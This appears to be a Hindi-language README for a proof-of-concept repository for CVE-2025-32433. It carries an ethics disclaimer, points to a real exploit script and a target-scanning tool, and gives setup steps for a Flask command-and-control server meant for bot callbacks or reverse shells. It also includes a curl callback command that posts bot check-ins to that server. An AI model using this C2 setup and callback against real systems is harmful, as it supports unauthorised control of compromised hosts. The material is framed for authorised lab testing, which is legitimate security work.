POC_CVE-2025-32433

⚠️ नैतिक अस्वीकरण

इस रिपॉजिटरी में वह कोड है जो एक वास्तविक CVE (CVE-2025-32433) प्रदर्शित करता है।
इसे केवल उन वातावरणों में उपयोग करें जहां आपके पास स्पष्ट प्राधिकरण है।

इस एक्सप्लॉइट का परीक्षण उन प्रणालियों पर कभी न करें जिनके आप स्वामी या प्रबंधक नहीं हैं।
अनधिकृत उपयोग अवैध, अनैतिक और साइबर सुरक्षा समुदाय के लिए हानिकारक है।

CVE-2025-32433 के लिए सिम्युलेटेड और वास्तविक POC

मेरे दोस्त Chocapikk ने मुझे यह मिला हुआ poc erling_cve.py दिखाया, मैं उत्सुक था और इसे एक सुरक्षित वातावरण में परीक्षण करना चाहता था।

आपके पास इस रिपो के साथ दो विकल्प हैं: सुरक्षित सिम्युलेटेड स्क्रिप्ट और सिस्टम जो मैं नीचे बताता हूँ।

या फिर आप असली erling_cve.py का उपयोग कर सकते हैं (नैतिक तरीके से, सावधानी के साथ और केवल उन नेटवर्कों पर जिनके परीक्षण की आपको अनुमति है)।

इस उपकरण का उपयोग करके वास्तविक शोषण का परीक्षण या चलाने से पहले मेरे दोस्त m0usemm0use और CVE-2025-32433 के लिए संवेदनशील लक्ष्य खोजने वाली उनकी पायथन स्क्रिप्ट को देखें!!!!

https://github.com/m0usem0use/erl_mouse

---

cve-2025-32433 के लिए शोषण का सिम्युलेटेड संस्करण

C2 सर्वर सेट अप करें

Python Flask-आधारित C2 बनाएं: बॉट कॉलबैक या रिवर्स शेल के लिए शक्तिशाली।

C2 सर्वर पर यह सेटअप स्क्रिप्ट चलाएँ

apt update && apt install python3-pip git -y

sudo apt install python3-flask

mkdir ~/c2

cd ~/c2

nano c2_server.py (paste in c2_server script edit as needed)

run

python3 c2_server.py

बॉट्स (या परीक्षण स्क्रिप्ट) इस तरह curl कर सकते हैं

curl -X POST http://:8080/report -d "Bot is online"

Kali पर Python venv सेट अप करें

mkdir ~/ssh-bot-lab && cd ~/ssh-bot-lab

Python वर्चुअल वातावरण बनाएँ

python3 -m venv venv

source venv/bin/activate

sudo apt install python3-requests

कॉलबैक का परीक्षण करें

nano test_callback.py (paste in test_callback script and edit as needed)

कॉलबैक चलाएँ